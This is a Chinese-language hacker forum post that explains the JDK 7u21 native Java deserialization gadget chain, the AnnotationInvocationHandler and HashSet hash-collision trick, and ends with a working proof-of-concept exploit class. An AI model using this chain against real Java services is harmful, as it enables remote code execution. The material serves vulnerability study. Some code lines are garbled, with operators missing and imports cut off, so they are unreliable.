taibeihacker
Moderator
JDK 7U21 Gadget
問題前面的文章中介紹的都是利用第三方庫的反序列化利用鏈。沒有合適的第三方庫存在時,Java 反序列化是否還能利用。
首先,存在不依賴第三方庫的Java 反序列化利用鏈,但是,Java 新版本沒有這樣的問題。
1 原理
JDK7u21 的核心點是sun.reflect.annotation.AnnotationInvocationHandler ,這個類在之前的分析中提到過。在AnnotationInvocationHandler 類中有個equalsImpl 方法:
反射調用:memberMethod.invoke(o) ,而memberMethod 來自於this.type.getDeclaredMethods() 。

也就是說, equalsImpl 這個方法是將this.type 類中的所有方法遍歷並執行了。那麼,假設this.type 是Templates 類,則勢必會調用到其中的newTransformer() 或getOutputProperties() 方法,進而觸發任意代碼執行。這就是JDK7u21 的核心原理。
2 构造
現在的思路就是通過反序列化調用equalsImpl , equalsImpl 是一個私有方法,在AnnotationInvocationHandler#invoke 中被調用:
InvocationHandler 是一個接口,只有一個方法就是invoke。
前面的文章提到過,在使用java.reflect.Proxy 動態綁定一個接口時,如果調用該接口中任意一個方法,會執行到InvocationHandler#invoke。執行invoke 時,被傳入的第一個參數是這個proxy 對象,第二個參數是被執行的方法名,第三個參數是執行時的參數列表。
而AnnotationInvocationHandler 就是一個InvocationHandler 接口的實現,它的invoke 方法:

可見,當方法名等於equals,且僅有一個Object 類型參數時,會調用到equalImpl 方法。 所以,現在的問題變成,找到一個方法,在反序列化時對proxy 調用equals 方法。
3 调用链
在比較Java 對象時,常用到兩種方法:equals
compareTo
任意Java 對像都擁有equals 方法,它通常用於比較兩個對像是否是同一個引用。另一個常見的會調用equals 的場景就是集合set。 set 中儲存的對像不允許重複,所以在添加對象的時候,勢必會涉及到比較操作。
HashSet 的readObject 方法:

這裡使用了一個HashMap,將對象保存在HashMap 的key 處來做去重。
跟進HashMap 的put 方法:

變量i 就是哈希值。兩個不同的對象的i 相等時,才會執行到key.equals(k) ,觸發前面說過的代碼執行。
接下來的思路就是為了讓proxy 對象的哈希,等於TemplateImpl 對象的哈希。
計算哈希的主要是下面這兩行代碼:
1
2
int hash=hash(key);
int i=indexFor(hash, table.length);
將其中的關鍵邏輯提取出來,可以得到下面這個函數:
1
2
3
4
5
6
7
public static int hash(Object key) {
int h=0;
h ^=key.hashCode();
h ^=(h 20) ^ (h 12);
h=h ^ (h 7) ^ (h 4);
return h 15;
}
除了key.hashCode() 外再沒有其他變量,所以proxy 對象與TemplateImpl 對象的哈希是否相等,僅取決於這兩個對象的hashCode() 返回值是否相等。 TemplateImpl 的hashCode() 是一個Native 方法,每次運行都會發生變化,理論上是無法預測的,所以想讓proxy 的hashCode() 與之相等,只能通過proxy.hashCode() 。
proxy.hashCode() 仍然會調用到AnnotationInvocationHandler#invoke ,進而調用到AnnotationInvocationHandler#hashCodeImpl ,跟進這個方法:

遍歷這個Map 中的每個key 和value,計算每個(127 * key.hashCode()) ^ value.hashCode() 並求和。
JDK7u21 中使用了一個非常巧妙的方法:
當memberValues 中只有一個key 和一個value 時,該哈希簡化成(127 * key.hashCode()) ^ value.hashCode()
當key.hashCode()==0 時,任何數異或0 的結果仍是它本身,所以該哈希簡化成value.hashCode()
當value 就是TemplateImpl 時,這兩個哈希就變成完全相等
因此,通過尋找一個hashCode 是0 的對像作為的key,將惡意TemplateImpl 對像作為value,這個proxy 計算的hashCode 就與TemplateImpl 對象本身的hashCode 相等了。
找一個hashCode 是0 的對象,通過一個簡單的爆破程序來實現:
1
2
3
4
5
6
7
8
public static void bruteHashCode()
{
for (long i=0; i 9999999999L; i++) {
if (Long.toHexString(i).hashCode()==0) {
System.out.println(Long.toHexString(i));
}
}
}
第一個結果是f5a5a608,這個也是ysoserial 中用到的字符串。
4 总结
按照如下步驟來構造:生成惡意TemplateImpl 對象
實例化AnnotationInvocationHandler 對象
type 屬性是TemplateImpl 類
memberValues 屬性是一個Map,Map 只有一個key 和value,key 是字符串, value 是前面生成的惡意TemplateImpl 對象
對這個AnnotationInvocationHandler 對像做一層代理,生成proxy 對象
實例化一個HashSet,這個HashSet 有兩個元素,分別是:
TemplateImpl 對象
proxy 對象
將HashSet 對象進行序列化
反序列化觸發代碼執行的流程如下:
觸發HashSet 的readObject 方法,其中使用HashMap 的key 做去重
去重時計算HashSet 中的兩個元素的hashCode ,通過構造二者相等,進而觸發equals() 方法
調用AnnotationInvocationHandler#equalsImpl 方法
equalsImpl 中遍歷this.type 的每個方法並調用
this.type 是TemplatesImpl 類,所以觸發了newTransform() 或getOutputProperties() 方法
任意代碼執行
POC 如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package main.java;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.i

import java.i

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class OriginalGadgetDemo {
public static void main(String[] args) throws Exception {
byte[] code=Files.readAllBytes(Paths.get('/Volumes/MacOS/WorkSpace/JAVA/7u21Gadget/src/main/java/EvilTemplatesImpl.class'));
TemplatesImpl templates=new TemplatesImpl();
setFieldValue(templates, '_bytecodes', new byte[][]{code});
setFieldValue(templates, '_name', 'HelloTemplatesImpl');
setFieldValue(templates, '_tfactory', new TransformerFactoryImpl());
String zeroHashCodeStr='f5a5a608';
//實例化一個map,並添加Magic Number為key,也就是f5a5a608,value先隨便設置一個值
HashMap map=new HashMap();
map.put(zeroHashCodeStr, 'foo');
//實例化AnnotationInvocationHandler類
Constructor handlerConstructor=Class.forName('sun.reflect.annotation.AnnotationInvocationHandler').getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler=(InvocationHandler) handlerConstructor.newInstance(Templates.class, map);
//為tempHandler創造一層代理
Templates proxy=(Templates) Proxy.newProxyInstance(OriginalGadgetDemo.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);
//實例化HashSet,並將兩個對象放進去
HashSet set=new LinkedHashSet();
set.add(templates);
set.add(proxy);
//將惡意templates設置到map中
map.put(zeroHashCodeStr, templates);
ByteArrayOutputStream barr=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(barr);
oos.writeObject(set);
oos.close();
//System.out.println(barr);
ObjectInputStream ois=new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o=(Object)ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
参考
phith0n Java 漫談系列Java反序列化漏洞原理解析
Java反序列化漏洞從入門到關門
從0開始學Java反序列化漏洞
深入理解JAVA 反序列化漏洞
Java反序列化利用鏈補全計劃
Commons-Collections 利用鏈分析
深入Java 原生反序列化JDK7u21 利用鏈分析